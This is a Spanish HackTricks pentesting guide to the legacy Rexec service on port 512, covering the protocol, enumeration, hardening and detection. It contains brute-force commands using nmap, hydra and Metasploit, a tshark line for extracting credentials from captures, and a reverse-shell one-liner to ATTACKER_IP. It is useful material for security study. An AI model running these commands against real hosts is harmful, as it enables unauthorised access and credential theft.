512 - Pentesting Rexec
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Rexec (remote exec) es uno de los servicios originales de la suite Berkeley r (junto con rlogin
, rsh
, …). Proporciona una capacidad de ejecución de comandos remotos autenticada solo con un nombre de usuario y contraseña en texto claro. El protocolo fue definido a principios de la década de 1980 (ver RFC 1060) y hoy en día se considera inseguro por diseño. Sin embargo, todavía está habilitado por defecto en algunos equipos UNIX / conectados a la red heredados y ocasionalmente aparece durante las pruebas internas de pentesting.
Puerto por Defecto: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Todo el tráfico, incluidos las credenciales, se transmite sin cifrar. Cualquiera con la capacidad de espiar la red puede recuperar el nombre de usuario, la contraseña y el comando.
Vista rápida del protocolo
- El cliente se conecta al TCP 512.
- El cliente envía tres cadenas terminadas en NUL:
- el número de puerto (como ASCII) donde desea recibir stdout/stderr (a menudo
0
), - el nombre de usuario,
- la contraseña.
- Se envía una cadena final terminada en NUL con el comando a ejecutar.
- El servidor responde con un solo byte de estado de 8 bits (0 = éxito,
1
= fallo) seguido de la salida del comando.
Eso significa que puedes reproducir el intercambio con nada más que echo -e
y nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Si las credenciales son válidas, recibirás la salida de id
directamente en la misma conexión.
Uso manual con el cliente
Muchas distribuciones de Linux aún incluyen el cliente legado dentro del paquete inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Si se omite -p
, el cliente solicitará interactivamente la contraseña (¡visible en la red en texto claro!).
Enumeración y Fuerza Bruta
Fuerza bruta
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
El rexec-brute
NSE utiliza el protocolo descrito arriba para intentar credenciales muy rápidamente.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
tiene un módulo rexec dedicado y sigue siendo el bruteforcer offline más rápido. medusa
(-M REXEC
) y ncrack
(módulo rexec
) se pueden usar de la misma manera.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
El módulo generará un shell con éxito y almacenará las credenciales en la base de datos.
Captura de credenciales
Debido a que todo está en texto claro, las capturas de red son invaluables. Con una copia del tráfico, puedes extraer credenciales sin tocar el objetivo:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark, habilite Decode As … TCP 512 → REXEC para ver campos bien analizados.)
Consejos de Post-Explotación
- Los comandos se ejecutan con los privilegios del usuario proporcionado. Si
/etc/pam.d/rexec
está mal configurado (por ejemplo,pam_rootok
), a veces son posibles shells de root. - Rexec ignora el shell del usuario y ejecuta el comando a través de
/bin/sh -c <cmd>
. Por lo tanto, puede utilizar trucos típicos de escape de shell (;
,$( )
, comillas invertidas) para encadenar múltiples comandos o generar shells reversos:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Las contraseñas a menudo se almacenan en ~/.netrc en otros sistemas; si compromete un host, puede reutilizarlas para movimiento lateral.
Dureza / Detección
- No exponga rexec; reemplácelo con SSH. Prácticamente todos los inetd superservidores modernos comentan el servicio por defecto.
- Si debe mantenerlo, restrinja el acceso con envolturas TCP (
/etc/hosts.allow
) o reglas de firewall y haga cumplir contraseñas fuertes por cuenta. - Monitoree el tráfico hacia :512 y los lanzamientos de procesos
rexecd
. Una sola captura de paquetes es suficiente para detectar un compromiso. - Desactive
rexec
,rlogin
,rsh
juntos: comparten la mayor parte de la misma base de código y debilidades.
Referencias
- Documentación de Nmap NSE
rexec-brute
– https://nmap.org/nsedoc/scripts/rexec-brute.html - Módulo de Rapid7 Metasploit
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.